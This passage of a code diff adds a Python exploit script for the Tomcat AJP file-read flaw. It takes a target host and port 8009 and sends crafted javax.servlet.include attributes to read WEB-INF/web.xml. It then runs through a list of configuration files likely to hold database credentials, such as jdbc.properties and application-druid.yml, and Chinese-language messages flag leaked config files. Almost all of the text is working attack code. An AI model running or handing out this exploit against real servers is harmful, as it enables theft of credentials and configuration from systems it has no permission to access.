Message:<\/strong><\/small> <\/td>\s*(OK - .*' + path + ')\s*<\/pre><\/td>'
+ while r.prefix_code != AjpResponse.END_RESPONSE:
+ r = AjpResponse.receive(self.stream)
+ if r.prefix_code == 3:
+ f = re.findall(regex, r.data)
+ if len(f) > 0:
+ found = True
+ if found:
+ logger.info('Undeploy succeed')
+ else:
+ logger.error('Undeploy failed')
+
+
+if __name__ == "__main__":
+
+
+ parser = argparse.ArgumentParser()
+ parser.add_argument('target', type=str, help="Hostname or IP to attack")
+ parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
+ parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
+ args = parser.parse_args()
+ bf = Tomcat(args.target, args.port)
+ attributes = [
+ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
+ {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
+ {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
+ ]
+ snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
+ print("".join([d.data for d in data_res]))
+
+ if "WEB-INF" in "".join([d.data for d in data_res]) or "properties" in "".join([d.data for d in data_res]):
+ print("**********************注意可能有WEB-INF、properties配置文件*************************")
+
+ if "classpath" in "".join([d.data for d in data_res]) :
+ print("**********************注意可能有classpath的xml文件*************************")
+
+ words_list = ['WEB-INF/classes/application-config.xml','WEB-INF/classes/application-druid.yml','WEB-INF/classes/jdbc.properties','WEB-INF/classes/db.properties',
+'WEB-INF/classes/database.properties','WEB-INF/classes/datasource.properties','WEB-INF/classes/mybatis.properties','WEB-INF/classes/application.properties',
+'WEB-INF/classes/spring-websocket-v2.0.xml','WEB-INF/classes/spring-mvc.xml','WEB-INF/classes/log4j.properties']
+
+ for word in words_list:
+
+ print(":::::::::" + word + ":::::::::")
+ attributes = [
+ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
+ {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', word]},
+ {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
+ ]
+ snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes)
+ if "Error report" in "".join([d.data for d in data_res]):
+ pass
+ else:
+ print("".join([d.data for d in data_res]))
+
+
|